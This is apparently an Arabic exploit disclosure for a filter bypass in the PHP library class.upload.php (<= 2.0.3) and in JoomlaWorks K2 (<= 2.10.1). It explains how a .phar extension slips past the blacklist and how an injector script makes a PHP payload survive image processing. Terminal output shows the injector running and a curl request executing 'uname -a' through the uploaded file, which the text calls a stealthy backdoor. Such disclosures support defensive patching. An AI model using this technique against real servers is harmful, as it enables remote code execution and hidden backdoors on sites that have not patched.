
هذا استغلال لتجاوز التصفية يؤدي إلى رفع ملفات عشوائي وتنفيذ تعليمات برمجية عن بُعد في class.upload.php <= 2.0.3
هذا استغلال لتجاوز التصفية يؤدي إلى رفع ملف تعسفي وتنفيذ تعليمات برمجية عن بُعد. يقوم سكريبت class.upload.php بتصفية "الملفات والمحتوى الخطير" وإعادة تسميتها إلى امتداد ملف txt. كما يقوم بأنواع مختلفة من التحويل على الصورة المرفوعة، مما قد يؤدي عادةً إلى تدمير أي حمولة محقونة، حتى لو تم تجاوز مرشح امتداد الملف.
مرشح امتداد الملف هو قائمة سوداء، لذا في أي وقت يتم فيه تقديم امتداد جديد (في هذه الحالة phar)، أو تم تفويت أي امتداد، يمكن رفع ملف PHP. يجب أن يكون المحتوى صورة صالحة مع ذلك وسيظل يمر عبر دوال imagecreatefromjpeg وما شابهها. لهذا الغرض، كتبت سكريبت inject.php الذي سيجرب قوة غاشمة عبر صور مختلفة حتى يجد صورة حيث لن يتم تدمير الحمولة بواسطة العملية التي يقوم بها class.upload.php. هذا يعطينا فعليًا رفع ملف تعسفي وتنفيذ تعليمات برمجية خفي جدًا لأنه لا يزال صورة صالحة وسيتم عرضها كصورة على الصفحات التي يتم رفعها فيها.
سكريبت upload.php هو الكود المثال من مستودع verot.net على GitHub. رأيت أنه من الأفضل عرض هذه الثغرة باستخدام الكود المثال الخاص بهم.
user@ayu:/var/www/html# php inject.php
-=Imagejpeg injector 1.7=-
[+] Fetching image (100 X 100) from http://lorempixel.com/100/100/
[+] Jumping to end byte
[+] Searching for valid injection point
[!] Temp solution, if you get a 'recoverable parse error' here, it means it probably failed
[+] It seems like it worked!
[+] Result file: image.jpg.phar
user@ayu:/var/www/html# curl -v -o - http://localhost/images/image_resized.phar?c=uname%20-a | grep -aPo "(Linux.*GNU)"
Linux ayu 5.0.0-36-generic #39-Ubuntu SMP Tue Nov 12 09:46:06 UTC 2019 x86_64 x86_64 x86_64 GNU
رفع ملف تعسفي يؤدي إلى تنفيذ تعليمات برمجية عن بُعد في JoomlaWorks K2 <= 2.10.1 بسبب نسخة غير مصححة من class.upload.php
مستخدم عادي يرفع الصورة المولدة بواسطة inject.php، والتي تحتوي على حمولة بسيطة. ستتجاوز مرشح الامتداد في class.upload.php ولن يتم تدميرها بواسطة معالجة الصورة في المكتبة. ستظهر كصورة عادية، وهو أمر أكثر خفاءً.
سيتم رفع الملف ويمكن الوصول إليه كباب خلفي وتنفيذ الأوامر.